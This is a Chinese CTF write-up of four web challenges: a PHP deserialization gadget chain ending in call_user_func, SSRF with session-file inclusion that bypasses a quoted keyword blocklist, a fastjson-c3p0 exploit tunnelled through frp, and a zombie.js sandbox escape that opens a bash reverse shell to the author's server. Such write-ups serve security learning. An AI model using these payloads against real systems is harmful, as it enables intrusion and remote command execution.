ezyii
说是最新的链子,题目把文件都筛选好了让我们找。写一下我的思路
看到RunProcess类
<?php
namespace Codeception\Extension;
class RunProcess
{
protected $output;
protected $config = ['sleep' => 0];
protected static $events = [];
private $processes = [];
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}
底下有个字符串拼接,可以触发__toString,全局搜索__toString
AppendStream下有__toString 并且调用了rewind(),找找看这个rewind
CachingStream类这里有,并且还调用了seek方法,seek又调用了read方法,在这个read方法里又调用了一个read方法
我们可以控制$this->stream为我们想要的类,查找read,最后在PumpStream类里
<?php
namespace GuzzleHttp\Psr7;
class PumpStream
{
private $source;
private $size;
private $tellPos = 0;
private $metadata;
private $buffer;
public function getSize()
{
return $this->size;
}
public function read($length)
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;
if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}
return $data;
}
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
}
这个类有read方法 ,read调用了pump pump方法调用了call_user_func,所以可以RCE
就写到这吧 我把链子找完的时候队友已经出了,还告诉我网上有公开的poc,心累,说好的最新呢
安全检测
检测127.0.0.1成功了 是ssrf,利用ssrf扫路径扫到了http://127.0.0.1/admin/include123.php
源码
<?php
$u=$_GET['u'];
$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}
include($u);
show_source(__FILE__);
?>
包含一下session文件呗
payload:
http://127.0.0.1/admin/include123.php?u=/tmp/sess_你的PHPSESSID&payload=<?=\`cat\t/getf???.sh`?>
成功了 挺奇怪的 源码里ban了反引号我这里却可以用 不管了 flag出了就行。
层层穿透
这题做了好久,只会一点java的我靠着github上的一键shell poc做完了
第一层反弹shell,github有直接可以利用的工具
弹个shell到自己的vps上。
题目提示内网
信息搜集到了10.10.1.11:8080,估计是内网web环境,先把附件源码反编译一下,因为题目环境20分钟刷新一次,所以现在本地打
对着源码逻辑先登录,账号密码源码里可以直接找到
看到admin/test路由存在fastjson反序列化点。
不怎么会java反序列化,但是github上有不出网直接在数据包里回显的一键shellpoc
https://github.com/depycode/fastjson-c3p0
照着github上的readme直接打,发现提示太短,看源码
把poc复制两边再打就打通了
本地打通了,之后是题目。我花了大部分时间在搞代理 有几个小时吧 最后选择了frp 确实方便
frp教程
端口转发成功后按照刚刚本地的步骤直接打就行
(一定找个时间好好学java)
Crawer_z
引用了zombie框架,谷歌查找 全网只找到这个框架一篇漏洞
https://ha.cker.in/index.php/Article/13563
漏洞描述
攻击者可以在他们的页面中插入JS代码来利用zombiejs代码注入漏洞。如果使用zombiejs 抓取此类页面,则运行爬虫的机器将运行攻击者提供的任意命令。为了比较,jsdom 默认禁用脚本执行。
想办法让题目访问我们准备的恶意页面就行。
payload在这个博客里都准备好了,提取一下
var codeToExec = "var sync=require('child_process').spawnSync; " +
"var ls = sync('cat', ['./resources/test.html']); console.log(ls.output.toString());";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.require;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()";
console.log(attackVector)
改成弹shell的
c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()
有了payload,我们要想办法让题目访问我们的恶意页面。看一下源码。
在user.js下
看到访问/user/bucket似乎会自动访问我们个人信息里设置的bucket,尝试访问。
尝试更改bucket设置,先看源码
在checkBucket函数下,看到bucket的要求,必须以http:或者https:为开头,且必须包含oss-cn-beijing.ichunqiu.com
我们尝试修改前面为自己的vps地址
点击更新
变回原来的了,并且提示admin会来检查,但在源码里看到
这里其实算是更改失败了,admin不会去检查
源码里有个重定向到
/user/verify?token=${authToken},我们尝试用队伍token
浏览器url输入队伍token
修改bucket,但不要点击update,直接在访问我们放入队伍token后的url
提示更改成功 看到我们的bucket也被设置成了我们的vps地址
其实这里我还没怎么懂原理,只是试了一下发现可以,那就歪打正着直接用。
再访问/user/bucket
回显的内容变了,报错404,这是因为我的vps上没有oss-cn-beijing.ichunqiu.com这个文件。
到这里思路就很清晰了,我们在vps上放置一个oss-cn-beijing.ichunqiu.com.html恶意文件,然后修改bucket为http://公网ip地址/oss-cn-beijing.ichunqiu.com.html
并且这个html文件已经被我们插入了用<script>标签包裹的恶意payload
服务器起个监听
题目内访问/user/bucket
弹成功了。
这次比赛就做了这四道题,做完java那题距比赛结束就1小时了,被队友带飞进了前三十 队友们tql